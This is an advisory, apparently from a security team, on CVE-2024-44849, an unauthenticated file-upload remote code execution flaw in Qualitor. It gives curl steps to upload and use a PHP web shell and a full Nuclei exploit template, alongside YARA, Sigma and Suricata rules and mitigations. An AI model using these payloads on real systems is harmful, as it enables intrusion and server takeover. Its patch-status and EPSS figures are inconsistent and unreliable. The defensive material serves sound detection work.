CVE-2024-44849

Executive Summary

CVE-2024-44849 is a critical unauthenticated Remote Code Execution (RCE) vulnerability in Qualitor versions up to and including 8.24. The flaw resides in the checkAcesso.php endpoint, which fails to properly validate file uploads, allowing an attacker to upload arbitrary PHP files to the server. Successful exploitation grants full control over the affected system, enabling data theft, lateral movement, or deployment of additional malware. The vulnerability has a CVSS score of 9.8 (Critical) and is actively weaponized with public proof-of-concept (PoC) code and a Nuclei template. No official patch is available, making immediate mitigation essential.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 9.8 (Critical)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)
• EPSS Score: 0.92073 (97.7th percentile) – indicates high probability of exploitation in the wild.

Deep Dive & Mechanics

The vulnerability is a classic Unrestricted File Upload (CWE-434) in the checkAcesso.php script. The endpoint accepts multipart form data and processes file uploads without verifying file type, content, or extension. An attacker can craft a POST request with a PHP file containing arbitrary code. The server stores the uploaded file in the /html/ad/adfilestorage/request/ directory, making it directly accessible via HTTP. Once the file is uploaded, the attacker can trigger execution by requesting the file, leading to remote code execution.

The Nuclei template confirms the attack flow:

1. Upload: Send a POST request with a PHP payload (e.g., <?php echo md5(1234); ?>) and a .php extension.
2. Execute: Access the uploaded file via GET request to verify execution (e.g., the MD5 hash is returned).

The vulnerability requires no authentication and can be exploited by any unauthenticated attacker with network access to the Qualitor web interface.

Vulnerable vs. Patched Code

Vulnerable Code (checkAcesso.php in Qualitor <= 8.24): The vulnerable code lacks file type validation. The upload handler accepts any file extension and stores it in a web-accessible directory without sanitization.

// Vulnerable snippet (conceptual)
$target_dir = "/html/ad/adfilestorage/request/";
$target_file = $target_dir . basename($_FILES["fleArquivo"]["name"]);
move_uploaded_file($_FILES["fleArquivo"]["tmp_name"], $target_file);

Patched Code (Hypothetical fix): A patched version would validate file extensions, MIME types, and store uploads outside the web root or with a non-executable extension.

// Patched snippet (conceptual)
$allowed_extensions = ['jpg', 'png', 'gif', 'pdf'];
$file_extension = strtolower(pathinfo($_FILES["fleArquivo"]["name"], PATHINFO_EXTENSION));
if (!in_array($file_extension, $allowed_extensions)) {
    die("Invalid file type.");
}
$target_dir = "/var/secure_uploads/";
$target_file = $target_dir . uniqid() . "." . $file_extension;
move_uploaded_file($_FILES["fleArquivo"]["tmp_name"], $target_file);

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Target running Qualitor <= 8.24 with web access.
• No authentication required.

Steps:

1. Upload malicious PHP file:

   curl -X POST http://target/html/ad/adfilestorage/request/checkAcesso.php \
     -H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundary" \
     -F "idtipo=2" \
     -F "nmfilestorage=" \
     -F "nmdiretoriorede=." \
     -F "nmbucket=" \
     -F "nmaccesskey=" \
     -F "nmkeyid=" \
     -F "fleArquivo=@shell.php;filename=shell.php" \
     -F "cdfilestorage="
   

   Where shell.php contains:

   <?php system($_GET['cmd']); ?>
   

2. Execute commands:

   curl http://target/html/ad/adfilestorage/request/shell.php?cmd=id
   

Nuclei Template (provided):

id: CVE-2024-44849

info:
  name: Qualitor <= 8.24 - Remote Code Execution
  author: s4e-io
  severity: critical
  description: |
    Qualitor up to 8.24 is vulnerable to Remote Code Execution (RCE) via Arbitrary File Upload in checkAcesso.php.
  impact: |
    Unauthenticated attackers can upload malicious files to achieve remote code execution on the Qualitor server.
  remediation: |
    Update Qualitor to version later than 8.24 that patches the arbitrary file upload vulnerability.
  reference:
    - https://cvefeed.io/vuln/detail/CVE-2024-44849
    - https://nvd.nist.gov/vuln/detail/CVE-2024-44849
    - https://github.com/extencil/CVE-2024-44849
    - https://blog.extencil.me/information-security/cves/cve-2024-44849
    - https://sploitus.com/exploit?id=D08D686E-7910-5E17-99CC-36407B9884B8
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-44849
    cwe-id: CWE-434
    epss-score: 0.92073
    epss-percentile: 0.99711
  metadata:
    verified: true
    max-request: 2
    vendor: qualitor
    product: qualitor
    fofa-query: "Qualitor"
  tags: cve,cve2024,rce,file-upload,qualitor,intrusive,vkev,vuln

variables:
  filename: "{{rand_base(12)}}"
  num: "{{rand_int(1000, 9999)}}"

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /html/ad/adfilestorage/request/checkAcesso.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=---------------------------QUALITORspaceCVEspace2024space44849

        -----------------------------QUALITORspaceCVEspace2024space44849
        Content-Disposition: form-data; name="idtipo"

        2
        -----------------------------QUALITORspaceCVEspace2024space44849
        Content-Disposition: form-data; name="nmfilestorage"


        -----------------------------QUALITORspaceCVEspace2024space44849
        Content-Disposition: form-data; name="nmdiretoriorede"

        .
        -----------------------------QUALITORspaceCVEspace2024space44849
        Content-Disposition: form-data; name="nmbucket"


        -----------------------------QUALITORspaceCVEspace2024space44849
        Content-Disposition: form-data; name="nmaccesskey"


        -----------------------------QUALITORspaceCVEspace2024space44849
        Content-Disposition: form-data; name="nmkeyid"


        -----------------------------QUALITORspaceCVEspace2024space44849
        Content-Disposition: form-data; name="fleArquivo"; filename="{{filename}}.php"

        <?php echo md5({{num}}); ?>
        -----------------------------QUALITORspaceCVEspace2024space44849
        Content-Disposition: form-data; name="cdfilestorage"


        -----------------------------QUALITORspaceCVEspace2024space44849--

    matchers:
      - type: dsl
        dsl:
          - contains_all(body, "parent.showQAlert(\'Upload", "showQAlert")
          - status_code == 200
        condition: and
        internal: true

  - raw:
      - |
        GET /html/ad/adfilestorage/request/{{filename}}.php HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body,"{{md5(num)}}")'
          - 'contains(content_type, "text/html")'
          - 'status_code == 200'
        condition: and

Blue Team (Defensive)

Detection:

• Monitor for POST requests to /html/ad/adfilestorage/request/checkAcesso.php with multipart form data containing file uploads.
• Alert on creation of .php files in the /html/ad/adfilestorage/request/ directory.
• Use the provided YARA and Sigma rules for file and log detection.

Honeypot:

• Deploy a decoy Qualitor instance to capture attacker payloads.

Indicators of Compromise (IOCs)

• File paths: /html/ad/adfilestorage/request/*.php (unexpected PHP files)
• Network requests: POST to /html/ad/adfilestorage/request/checkAcesso.php with Content-Type: multipart/form-data
• Log entries: Access logs showing GET requests to /html/ad/adfilestorage/request/<random>.php with HTTP 200
• Payload patterns: PHP code containing system, exec, shell_exec, md5, or base64 encoded strings

Detection Engineering

YARA Rule

rule CVE_2024_44849_Qualitor_RCE {
   meta:
      description = "Detects PHP webshells uploaded via CVE-2024-44849"
      author = "Valters IT"
      date = "2025-04-10"
      reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-44849"
   strings:
      $php_tag = "<?php"
      $dangerous_func = /(system|exec|shell_exec|passthru|popen|proc_open|eval|assert|md5)\s*\(/
      $upload_path = "/html/ad/adfilestorage/request/"
   condition:
      $php_tag and $dangerous_func and $upload_path
}

Sigma Rule

title: Qualitor RCE via Arbitrary File Upload (CVE-2024-44849)
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects exploitation attempts of CVE-2024-44849 via file upload to checkAcesso.php
author: Valters IT
date: 2025-04-10
logsource:
   category: webserver
   product: apache
   service: access
detection:
   selection:
      cs-method: 'POST'
      cs-uri-stem: '/html/ad/adfilestorage/request/checkAcesso.php'
      sc-status: 200
   condition: selection
falsepositives:
   - Legitimate file uploads (if any) - unlikely
level: critical

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (
   msg:"CVE-2024-44849 Qualitor RCE File Upload Attempt";
   flow:to_server,established;
   content:"POST"; http_method;
   content:"/html/ad/adfilestorage/request/checkAcesso.php"; http_uri;
   content:"multipart/form-data"; http_header;
   content:".php"; http_client_body;
   classtype:attempted-admin;
   sid:1000001;
   rev:1;
   reference:cve,2024-44849;
)

Remediation & Mitigation

Immediate Actions:

1. Isolate affected systems: Disconnect Qualitor servers from the internet if possible.
2. Implement WAF rules: Block POST requests to /html/ad/adfilestorage/request/checkAcesso.php with file uploads containing .php extensions.
3. Restrict file permissions: Ensure the web server cannot execute PHP files in the upload directory (e.g., via .htaccess or Nginx config):

   <Directory "/var/www/html/ad/adfilestorage/request/">
       php_admin_flag engine off
   </Directory>
   

4. Monitor logs: Review access logs for suspicious upload patterns.

Long-term Fix:

• Apply vendor patch when available (currently none).
• Upgrade to a patched version (none released as of this report).
• Consider replacing Qualitor with a supported alternative.

Valters IT Signature

Report generated by Valters IT DevSecOps Team

{/* [Security Hash: B1A567888B5B13F602FA1564] */}